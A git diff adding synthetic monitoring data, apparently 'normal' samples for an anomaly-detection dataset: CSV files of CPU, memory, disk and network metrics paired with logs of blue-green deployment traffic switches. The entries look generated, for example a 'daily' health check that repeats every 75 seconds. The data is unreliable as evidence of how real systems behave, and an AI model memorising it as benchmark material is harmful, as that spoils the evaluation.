+timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,2.3417590282347844,8.589275303745344,1.7105723853443942,0.0509406997850621,0.05606123213755322 +2025-08-22T10:00:05Z,4.5483392497832975,5.882994903838501,3.3233216070438125,0.014157093300487061,0.08804717169665208 +2025-08-22T10:00:10Z,4.697354344687758,7.701755096266911,4.645521994727637,0.06308067759474248,0.09158152646897877 +2025-08-22T10:00:15Z,3.2014163336206667,7.313458294915787,2.1947636207264,0.08705689925840013,0.06239154548207048 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+2025-08-22T10:07:00Z,81.91196676346317,67.44064741534304,45.78708967269779,1.6955586478849882,1.0572115189965645 +2025-08-22T10:07:05Z,69.57928635484626,47.103064555541906,49.81313104556719,1.476690319628559,1.0375614617635642 +2025-08-22T10:07:10Z,71.95775259595734,63.32578994840091,59.0668860724696,1.8591596127383667,1.325897105893465 +2025-08-22T10:07:15Z,74.2668277069469,72.23586143912236,44.37332854975452,1.600544621125706,1.672069823152837 +2025-08-22T10:07:20Z,73.79121815285825,67.70191903681996,35.28341727631446,1.5548985573453484,1.2594333581620207 +2025-08-22T10:07:25Z,73.19980445101203,55.248922945822954,48.506667234120314,0.9717919546427382,1.0939292012528485 diff --git a/norm_dataset/scenario_6/norm_6_16.log b/norm_dataset/scenario_6/norm_6_16.log new file mode 100644 index 0000000000000000000000000000000000000000..1dd3d98bb0435f390282140aab7f61b27edb4652 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_16.log @@ -0,0 +1,25 @@ +Aug 22 10:00:00 web-app-green[2345]: GET /api/v1/health status=200 OK +Aug 22 10:00:00 systemd[1]: Starting daily health check... +Aug 22 10:00:35 web-app-green[2345]: GET /api/v1/health status=200 OK +Aug 22 10:01:10 web-app-green[2345]: GET /api/v1/health status=200 OK +Aug 22 10:01:15 systemd[1]: Starting daily health check... +Aug 22 10:01:45 web-app-green[2345]: GET /api/v1/health status=200 OK +Aug 22 10:02:20 web-app-green[2345]: GET /api/v1/health status=200 OK +Aug 22 10:02:30 systemd[1]: Starting daily health check... +Aug 22 10:02:55 web-app-green[2345]: GET /api/v1/health status=200 OK +Aug 22 10:03:30 web-app-green[2345]: GET /api/v1/health status=200 OK +Aug 22 10:03:40 deployment-system[5678]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:03:45 load-balancer[9101]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:04:00 web-app-green[2345]: GET /api/v1/user/121 status=200 OK +Aug 22 10:04:10 CRON[4432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:20 web-app-green[2345]: GET /api/v1/user/278 status=200 OK +Aug 22 10:04:40 web-app-green[2345]: GET /api/v1/user/280 status=200 OK +Aug 22 10:05:00 web-app-green[2345]: GET /api/v1/user/247 status=200 OK +Aug 22 10:05:20 web-app-green[2345]: GET /api/v1/user/346 status=200 OK +Aug 22 10:05:40 web-app-green[2345]: GET /api/v1/user/96 status=200 OK +Aug 22 10:06:00 web-app-green[2345]: GET /api/v1/user/416 status=200 OK +Aug 22 10:06:15 CRON[4432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:20 web-app-green[2345]: GET /api/v1/user/299 status=200 OK +Aug 22 10:06:40 web-app-green[2345]: GET /api/v1/user/95 status=200 OK +Aug 22 10:07:00 web-app-green[2345]: GET /api/v1/user/229 status=200 OK +Aug 22 10:07:20 web-app-green[2345]: GET /api/v1/user/152 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_17.csv b/norm_dataset/scenario_6/norm_6_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..6299b1001d92698a9b91153bfad5157dad53f34c --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-21T10:00:00Z,61.09902717737121,56.4756853266727,35.82879850046811,1.3069969024263084,0.7386589303605228 +2025-07-21T10:00:05Z,52.07838255220941,65.4170963751793,46.69211098018926,1.1343702841083612,1.0031778599356165 +2025-07-21T10:00:10Z,44.265624064646346,60.403654536632345,28.18230175698913,1.2797949135827797,1.2163723628682646 +2025-07-21T10:00:15Z,57.94890261761969,67.4248527611239,17.064729063412443,1.095705036676549,0.92299000622265 +2025-07-21T10:00:20Z,56.64409831334051,67.05131990440792,26.835000630307675,1.1934651787619572,0.8245909571427397 +2025-07-21T10:00:25Z,48.94157410081531,65.81092761323454,20.528187588798435,1.3770207340441933,0.633173566632606 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+2025-07-21T10:07:10Z,55.158309617302045,68.97227440159614,27.29280014834755,1.2100733460877624,0.7132844768020855 +2025-07-21T10:07:15Z,57.564162385438955,67.58462036645382,42.81491222917626,0.8583815871793603,1.0074197161639336 +2025-07-21T10:07:20Z,59.86609576904593,68.08348438248233,21.638825130491995,1.0849538751685495,0.7736448815245046 +2025-07-21T10:07:25Z,57.69521947449346,57.96801518420529,29.11827718442605,1.1332566591898148,0.6642728286715768 diff --git a/norm_dataset/scenario_6/norm_6_17.log b/norm_dataset/scenario_6/norm_6_17.log new file mode 100644 index 0000000000000000000000000000000000000000..9c54df02ee179c78b8b11bc1543823048c876f20 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_17.log @@ -0,0 +1,17 @@ +Jul 21 10:00:34 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:01:13 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:01:41 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:01:59 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:02:24 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:02:52 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:03:11 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:03:39 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:03:43 deploy-system[jenkins]: INFO: Production traffic switch for deployment #123 successful. +Jul 21 10:03:45 gateway[nginx-ingress]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Jul 21 10:03:54 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:04:24 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:04:58 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:05:31 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:06:03 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:06:39 app-server[7752]: GET /api/v2/items status=200 OK +Jul 21 10:07:01 app-server[7752]: GET /api/v2/items status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_18.csv b/norm_dataset/scenario_6/norm_6_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..2b6ed7c3343d5347ab2a878a92089ff801fe9c25 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,71.70879514117392,72.74169624891648,38.48677172343879,2.050354083405167,1.4953525179915004 +2025-08-22T10:00:05Z,83.17336386597509,68.76258591408673,25.255116844679307,2.0198470974834737,1.0169798523784102 +2025-08-22T10:00:10Z,72.64384856339875,65.24068390877636,22.735527026081137,2.2848607883629017,1.8924391673174077 +2025-08-22T10:00:15Z,75.88729298240044,70.55969722579451,39.51715534650588,2.444038643714503,1.435493728229357 +2025-08-22T10:00:20Z,76.90084747101409,56.96792208754288,27.92130769919288,2.129978535455466,1.9561974273232403 +2025-08-22T10:00:25Z,82.89189929413293,67.36651981532124,36.6695070444718,1.887830758396107,1.197163119079606 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backend-blue-pod-xyz +Aug 22 10:00:35 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-pod-xyz +Aug 22 10:01:10 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-pod-xyz +Aug 22 10:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-pod-xyz +Aug 22 10:01:45 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-pod-xyz +Aug 22 10:02:20 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-pod-xyz +Aug 22 10:02:55 jenkins[6789]: INFO Starting deployment #123 for service 'my-app'. +Aug 22 10:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-pod-xyz +Aug 22 10:02:55 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:20 jenkins[6789]: INFO Deployment #123 green environment 'backend-green' is up and healthy. +Aug 22 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-pod-xyz +Aug 22 10:03:30 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:45 haproxy[888]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 10:03:45 jenkins[6789]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc +Aug 22 10:04:05 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc +Aug 22 10:04:35 jenkins[6789]: INFO Decommissioning old environment 'backend-blue'. +Aug 22 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc +Aug 22 10:04:40 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc +Aug 22 10:05:15 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 10:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc +Aug 22 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc +Aug 22 10:05:50 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc +Aug 22 10:06:25 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc +Aug 22 10:07:00 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-pod-abc diff --git a/norm_dataset/scenario_6/norm_6_19.csv b/norm_dataset/scenario_6/norm_6_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..edca2cb3d3825b443a62091f95e9bd7d3a1089f5 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,2.45,7.77,1.38,0.08,0.07 +2025-08-22T14:00:05Z,4.14,5.42,0.22,0.04,0.02 +2025-08-22T14:00:10Z,3.15,6.39,0.84,0.08,0.06 +2025-08-22T14:00:15Z,2.44,5.65,0.24,0.07,0.04 +2025-08-22T14:00:20Z,1.47,6.73,0.96,0.04,0.03 +2025-08-22T14:00:25Z,1.61,6.44,0.41,0.06,0.06 +2025-08-22T14:00:30Z,1.7,8.68,1.4,0.09,0.09 +2025-08-22T14:00:35Z,3.35,9.51,1.04,0.08,0.06 +2025-08-22T14:00:40Z,3.92,7.24,1.45,0.09,0.09 +2025-08-22T14:00:45Z,3.26,6.26,0.77,0.05,0.04 +2025-08-22T14:00:50Z,1.64,6.33,1.28,0.05,0.04 +2025-08-22T14:00:55Z,3.09,7.8,0.22,0.04,0.03 +2025-08-22T14:01:00Z,1.95,7.57,1.22,0.07,0.05 +2025-08-22T14:01:05Z,1.4,6.24,1.43,0.03,0.02 +2025-08-22T14:01:10Z,2.03,7.15,0.8,0.08,0.08 +2025-08-22T14:01:15Z,1.37,7.84,1.36,0.07,0.07 +2025-08-22T14:01:20Z,4.49,8.02,0.34,0.08,0.01 +2025-08-22T14:01:25Z,4.79,5.21,0.98,0.05,0.04 +2025-08-22T14:01:30Z,1.09,8.06,0.23,0.01,0.02 +2025-08-22T14:01:35Z,1.29,9.82,1.46,0.08,0.07 +2025-08-22T14:01:40Z,2.81,9.91,0.94,0.08,0.04 +2025-08-22T14:01:45Z,3.17,6.99,0.76,0.09,0.05 +2025-08-22T14:01:50Z,2.06,9.47,0.57,0.01,0.03 +2025-08-22T14:01:55Z,3.75,7.42,0.82,0.01,0.02 +2025-08-22T14:02:00Z,2.62,8.58,1.45,0.04,0.01 +2025-08-22T14:02:05Z,4.07,9.62,0.84,0.08,0.02 +2025-08-22T14:02:10Z,1.97,5.05,1.05,0.01,0.08 +2025-08-22T14:02:15Z,2.42,5.55,1.25,0.08,0.07 +2025-08-22T14:02:20Z,3.49,7.71,0.82,0.06,0.08 +2025-08-22T14:02:25Z,1.08,8.35,0.46,0.09,0.01 +2025-08-22T14:02:30Z,3.33,9.84,1.05,0.04,0.01 +2025-08-22T14:02:35Z,4.27,9.49,0.33,0.08,0.06 +2025-08-22T14:02:40Z,2.12,5.54,1.05,0.04,0.06 +2025-08-22T14:02:45Z,3.49,6.52,1.42,0.09,0.08 +2025-08-22T14:02:50Z,2.15,7.09,1.11,0.07,0.07 +2025-08-22T14:02:55Z,4.28,8.02,0.23,0.05,0.09 +2025-08-22T14:03:00Z,4.12,7.54,1.44,0.02,0.03 +2025-08-22T14:03:05Z,4.98,7.48,1.29,0.06,0.07 +2025-08-22T14:03:10Z,4.94,7.98,0.68,0.05,0.07 +2025-08-22T14:03:15Z,3.47,9.97,0.17,0.08,0.06 +2025-08-22T14:03:20Z,4.66,8.53,0.14,0.07,0.03 +2025-08-22T14:03:25Z,1.16,9.3,0.93,0.06,0.05 +2025-08-22T14:03:30Z,4.71,6.97,0.57,0.1,0.03 +2025-08-22T14:03:35Z,1.97,7.17,0.8,0.02,0.05 +2025-08-22T14:03:40Z,4.1,5.12,0.82,0.06,0.07 +2025-08-22T14:03:45Z,89.05,62.42,23.26,1.41,1.16 +2025-08-22T14:03:50Z,87.8,61.82,32.71,1.01,1.01 +2025-08-22T14:03:55Z,84.98,73.63,37.11,1.2,1.07 +2025-08-22T14:04:00Z,74.91,71.18,35.01,1.02,1.01 +2025-08-22T14:04:05Z,73.17,60.48,28.94,1.46,0.84 +2025-08-22T14:04:10Z,83.56,69.48,29.2,1.17,1.19 +2025-08-22T14:04:15Z,76.0,78.94,22.45,1.27,1.25 +2025-08-22T14:04:20Z,72.33,74.32,36.79,1.32,0.86 +2025-08-22T14:04:25Z,81.8,73.53,37.54,1.02,0.91 +2025-08-22T14:04:30Z,84.46,64.61,25.26,1.41,1.12 +2025-08-22T14:04:35Z,88.6,69.67,37.72,1.49,1.29 +2025-08-22T14:04:40Z,80.52,76.33,33.66,1.22,0.81 +2025-08-22T14:04:45Z,85.71,61.52,39.79,1.32,1.04 +2025-08-22T14:04:50Z,70.81,72.31,22.87,1.13,1.26 +2025-08-22T14:04:55Z,87.46,72.78,35.46,1.39,1.14 +2025-08-22T14:05:00Z,83.34,65.57,38.21,1.19,1.19 +2025-08-22T14:05:05Z,91.92,75.12,29.7,1.08,0.99 +2025-08-22T14:05:10Z,92.33,68.14,24.93,1.27,1.03 +2025-08-22T14:05:15Z,87.17,77.87,22.69,1.33,0.92 +2025-08-22T14:05:20Z,75.06,67.26,24.66,1.01,1.24 +2025-08-22T14:05:25Z,75.28,70.52,24.26,1.3,1.22 +2025-08-22T14:05:30Z,74.17,61.32,39.22,1.39,1.19 +2025-08-22T14:05:35Z,84.8,68.4,22.5,1.45,0.88 +2025-08-22T14:05:40Z,85.36,68.3,29.35,1.26,1.19 +2025-08-22T14:05:45Z,94.8,66.51,38.23,1.45,1.08 +2025-08-22T14:05:50Z,78.06,65.53,24.51,1.03,0.94 +2025-08-22T14:05:55Z,90.58,70.64,31.8,1.21,0.96 +2025-08-22T14:06:00Z,72.58,71.29,34.98,1.36,1.26 +2025-08-22T14:06:05Z,75.04,69.8,28.75,1.47,0.84 +2025-08-22T14:06:10Z,74.19,72.74,35.77,1.07,1.23 +2025-08-22T14:06:15Z,92.53,79.91,33.78,1.28,0.82 +2025-08-22T14:06:20Z,71.51,64.92,30.54,1.18,0.99 +2025-08-22T14:06:25Z,79.21,66.37,24.85,1.43,0.91 +2025-08-22T14:06:30Z,75.2,62.82,30.78,1.38,1.0 +2025-08-22T14:06:35Z,75.25,78.06,35.67,1.4,0.91 +2025-08-22T14:06:40Z,79.29,73.66,37.86,1.02,0.93 +2025-08-22T14:06:45Z,89.36,60.79,39.05,1.37,1.05 +2025-08-22T14:06:50Z,91.03,77.32,39.86,1.48,0.94 +2025-08-22T14:06:55Z,82.63,62.49,32.35,1.02,0.86 +2025-08-22T14:07:00Z,74.08,73.38,26.25,1.34,1.16 +2025-08-22T14:07:05Z,75.69,75.77,30.67,1.21,0.88 +2025-08-22T14:07:10Z,77.03,78.76,28.81,1.3,1.06 +2025-08-22T14:07:15Z,75.7,64.03,32.02,1.22,1.18 +2025-08-22T14:07:20Z,72.07,71.71,34.78,1.05,0.9 +2025-08-22T14:07:25Z,84.28,74.77,20.17,1.27,1.01 diff --git a/norm_dataset/scenario_6/norm_6_19.log b/norm_dataset/scenario_6/norm_6_19.log new file mode 100644 index 0000000000000000000000000000000000000000..906f4dfe0954f539b5607d88687298031c3ad061 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_19.log @@ -0,0 +1,30 @@ +Aug 22 14:00:00 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 14:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-abcdef +Aug 22 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:00:35 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 14:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-abcdef +Aug 22 14:01:10 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 14:01:45 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 14:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-abcdef +Aug 22 14:02:20 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 14:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 14:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-abcdef +Aug 22 14:02:55 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 14:03:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:03:30 web-app-blue[1234]: GET /api/v1/health status=200 OK +Aug 22 14:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod backend-blue-abcdef +Aug 22 14:03:45 spinnaker[6789]: INFO: Production traffic switch for deployment #123 successful. +Aug 22 14:03:45 haproxy[4567]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 22 14:04:05 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 14:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-uvwxyz +Aug 22 14:04:40 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 14:05:00 systemd[1]: Starting daily clean up activities... +Aug 22 14:05:15 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 14:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-uvwxyz +Aug 22 14:05:50 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 14:06:25 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 14:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-uvwxyz +Aug 22 14:06:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:07:00 web-app-green[5678]: GET /api/v1/health status=200 OK +Aug 22 14:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod backend-green-uvwxyz diff --git a/norm_dataset/scenario_6/norm_6_2.csv b/norm_dataset/scenario_6/norm_6_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..c082694c8adf4057e980b0cabb996e235e3220bf --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T17:00:00Z,1.56,7.10,0.86,0.09,0.05 +2025-08-19T17:00:05Z,3.38,6.90,0.85,0.02,0.05 +2025-08-19T17:00:10Z,3.10,7.56,0.72,0.03,0.03 +2025-08-19T17:00:15Z,3.29,9.49,0.37,0.02,0.03 +2025-08-19T17:00:20Z,1.13,7.16,0.98,0.09,0.06 +2025-08-19T17:00:25Z,4.15,7.97,0.73,0.06,0.02 +2025-08-19T17:00:30Z,3.03,7.40,0.71,0.05,0.07 +2025-08-19T17:00:35Z,2.05,9.10,0.14,0.05,0.06 +2025-08-19T17:00:40Z,2.94,8.55,0.98,0.02,0.08 +2025-08-19T17:00:45Z,1.77,8.03,0.37,0.01,0.10 +2025-08-19T17:00:50Z,1.96,8.87,0.60,0.07,0.06 +2025-08-19T17:00:55Z,1.84,8.45,0.98,0.10,0.10 +2025-08-19T17:01:00Z,1.92,8.75,0.31,0.09,0.07 +2025-08-19T17:01:05Z,3.25,9.75,0.45,0.03,0.06 +2025-08-19T17:01:10Z,1.04,7.99,0.78,0.02,0.07 +2025-08-19T17:01:15Z,1.23,9.95,0.23,0.06,0.05 +2025-08-19T17:01:20Z,1.08,6.57,0.42,0.08,0.05 +2025-08-19T17:01:25Z,4.52,8.48,0.10,0.09,0.07 +2025-08-19T17:01:30Z,2.96,5.89,0.76,0.10,0.03 +2025-08-19T17:01:35Z,1.07,8.09,0.46,0.06,0.09 +2025-08-19T17:01:40Z,2.07,5.12,0.31,0.06,0.04 +2025-08-19T17:01:45Z,1.43,6.57,0.90,0.03,0.06 +2025-08-19T17:01:50Z,1.54,7.17,0.71,0.08,0.03 +2025-08-19T17:01:55Z,1.40,9.90,0.96,0.03,0.02 +2025-08-19T17:02:00Z,3.92,6.38,0.02,0.09,0.06 +2025-08-19T17:02:05Z,4.64,5.84,0.40,0.10,0.09 +2025-08-19T17:02:10Z,4.58,5.82,0.32,0.04,0.05 +2025-08-19T17:02:15Z,4.96,8.45,0.26,0.09,0.06 +2025-08-19T17:02:20Z,2.79,9.57,0.40,0.04,0.06 +2025-08-19T17:02:25Z,4.74,9.55,0.43,0.03,0.09 +2025-08-19T17:02:30Z,3.89,5.81,0.17,0.02,0.06 +2025-08-19T17:02:35Z,3.93,5.25,0.77,0.08,0.05 +2025-08-19T17:02:40Z,1.46,6.46,0.46,0.02,0.03 +2025-08-19T17:02:45Z,4.10,6.74,0.05,0.09,0.06 +2025-08-19T17:02:50Z,3.55,7.94,0.37,0.05,0.04 +2025-08-19T17:02:55Z,1.80,7.76,0.74,0.04,0.08 +2025-08-19T17:03:00Z,2.98,6.11,0.48,0.06,0.03 +2025-08-19T17:03:05Z,4.02,6.86,0.56,0.02,0.09 +2025-08-19T17:03:10Z,3.57,8.16,0.35,0.03,0.10 +2025-08-19T17:03:15Z,3.65,9.23,0.26,0.06,0.05 +2025-08-19T17:03:20Z,2.73,5.22,0.67,0.03,0.04 +2025-08-19T17:03:25Z,1.74,9.54,0.04,0.05,0.09 +2025-08-19T17:03:30Z,3.92,5.82,0.79,0.01,0.02 +2025-08-19T17:03:35Z,3.80,6.33,0.80,0.01,0.04 +2025-08-19T17:03:40Z,1.04,7.85,0.44,0.05,0.08 +2025-08-19T17:03:45Z,73.23,65.04,34.27,1.47,0.84 +2025-08-19T17:03:50Z,68.31,53.19,21.71,1.47,1.13 +2025-08-19T17:03:55Z,62.26,68.32,33.78,1.21,1.28 +2025-08-19T17:04:00Z,71.05,50.65,39.70,1.28,0.85 +2025-08-19T17:04:05Z,60.35,50.59,25.88,1.14,1.08 +2025-08-19T17:04:10Z,60.44,54.34,39.27,1.04,1.11 +2025-08-19T17:04:15Z,71.38,54.06,37.82,1.05,0.95 +2025-08-19T17:04:20Z,70.75,50.68,37.61,1.27,0.97 +2025-08-19T17:04:25Z,62.08,56.56,22.71,1.13,1.11 +2025-08-19T17:04:30Z,62.32,64.77,27.60,1.24,1.08 +2025-08-19T17:04:35Z,62.22,52.56,29.61,1.33,0.94 +2025-08-19T17:04:40Z,75.80,56.18,38.31,1.14,0.89 +2025-08-19T17:04:45Z,75.74,67.23,23.02,1.30,1.02 +2025-08-19T17:04:50Z,62.15,56.28,22.93,1.29,1.18 +2025-08-19T17:04:55Z,73.09,61.33,34.64,1.31,1.10 +2025-08-19T17:05:00Z,78.45,54.11,27.95,1.40,1.01 +2025-08-19T17:05:05Z,60.86,67.09,29.54,1.08,0.93 +2025-08-19T17:05:10Z,68.37,51.69,39.70,1.12,1.22 +2025-08-19T17:05:15Z,75.02,65.53,21.06,1.42,1.17 +2025-08-19T17:05:20Z,74.30,54.67,39.57,1.06,1.01 +2025-08-19T17:05:25Z,78.33,57.35,28.86,1.22,1.12 +2025-08-19T17:05:30Z,74.71,52.66,35.50,1.00,0.83 +2025-08-19T17:05:35Z,75.11,50.10,39.33,1.47,1.15 +2025-08-19T17:05:40Z,61.21,55.31,22.89,1.36,1.04 +2025-08-19T17:05:45Z,74.00,59.98,28.48,1.14,1.17 +2025-08-19T17:05:50Z,76.71,59.51,32.96,1.32,1.18 +2025-08-19T17:05:55Z,67.23,56.59,30.11,1.34,1.06 +2025-08-19T17:06:00Z,61.39,53.55,34.60,1.18,1.09 +2025-08-19T17:06:05Z,64.24,63.74,30.93,1.21,0.87 +2025-08-19T17:06:10Z,62.29,54.52,26.24,1.50,1.22 +2025-08-19T17:06:15Z,79.56,62.74,22.17,1.11,1.30 +2025-08-19T17:06:20Z,64.62,51.18,22.47,1.20,1.03 +2025-08-19T17:06:25Z,74.79,68.02,22.93,1.13,0.86 +2025-08-19T17:06:30Z,68.19,68.60,31.40,1.15,0.82 +2025-08-19T17:06:35Z,64.42,64.04,33.83,1.13,0.97 +2025-08-19T17:06:40Z,78.96,60.55,20.93,1.33,1.04 +2025-08-19T17:06:45Z,72.12,56.43,38.31,1.29,0.93 +2025-08-19T17:06:50Z,62.33,58.59,30.66,1.13,0.97 +2025-08-19T17:06:55Z,63.98,51.54,23.33,1.38,1.01 +2025-08-19T17:07:00Z,74.05,53.20,20.52,1.44,1.15 +2025-08-19T17:07:05Z,68.22,57.95,27.90,1.25,1.27 +2025-08-19T17:07:10Z,78.54,58.17,20.38,1.07,1.10 +2025-08-19T17:07:15Z,72.38,58.27,32.92,1.07,0.96 +2025-08-19T17:07:20Z,61.10,63.95,24.03,1.49,1.05 +2025-08-19T17:07:25Z,76.67,51.28,22.39,1.02,0.85 diff --git a/norm_dataset/scenario_6/norm_6_2.log b/norm_dataset/scenario_6/norm_6_2.log new file mode 100644 index 0000000000000000000000000000000000000000..9bd265a2abe671aeb116b590f0f42de124df1286 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_2.log @@ -0,0 +1,22 @@ +Aug 19 17:00:00 deployment-controller[6789]: INFO: Health check for 'backend-green' passed. +Aug 19 17:00:00 deployment-controller[6789]: INFO: Verifying health of 'backend-green'... +Aug 19 17:00:40 deployment-controller[6789]: INFO: Health check for 'backend-green' passed. +Aug 19 17:00:40 deployment-controller[6789]: INFO: Verifying health of 'backend-green'... +Aug 19 17:01:20 deployment-controller[6789]: INFO: Health check for 'backend-green' passed. +Aug 19 17:01:20 deployment-controller[6789]: INFO: Verifying health of 'backend-green'... +Aug 19 17:02:00 deployment-controller[6789]: INFO: Health check for 'backend-green' passed. +Aug 19 17:02:00 deployment-controller[6789]: INFO: Verifying health of 'backend-green'... +Aug 19 17:02:40 deployment-controller[6789]: INFO: Health check for 'backend-green' passed. +Aug 19 17:02:40 deployment-controller[6789]: INFO: Verifying health of 'backend-green'... +Aug 19 17:03:20 deployment-controller[6789]: INFO: Health check for 'backend-green' passed. +Aug 19 17:03:20 deployment-controller[6789]: INFO: Verifying health of 'backend-green'... +Aug 19 17:03:45 jenkins[4567]: INFO: Production traffic switch for deployment #123 successful. +Aug 19 17:03:45 jenkins[4567]: INFO: Starting traffic switch for deployment #123. +Aug 19 17:03:45 load-balancer[8888]: INFO: Draining connections from 'backend-blue'. +Aug 19 17:03:45 load-balancer[8888]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green'. +Aug 19 17:04:10 green-app[7777]: GET /api/v1/user/34 status=200 OK +Aug 19 17:04:45 green-app[7777]: GET /api/v1/user/34 status=200 OK +Aug 19 17:05:20 green-app[7777]: GET /api/v1/user/47 status=200 OK +Aug 19 17:05:55 green-app[7777]: GET /api/v1/user/13 status=200 OK +Aug 19 17:06:30 green-app[7777]: GET /api/v1/user/12 status=200 OK +Aug 19 17:07:05 green-app[7777]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_6/norm_6_20.csv b/norm_dataset/scenario_6/norm_6_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..2a81f92bf7cb1cd24f77a4d5bf1d40364788c5a0 --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,51.71,67.74,38.87,1.28,1.05 +2025-08-22T10:00:05Z,63.17,63.76,28.94,1.26,0.81 +2025-08-22T10:00:10Z,52.64,60.24,27.05,1.39,1.25 +2025-08-22T10:00:15Z,55.89,65.56,39.64,1.47,1.02 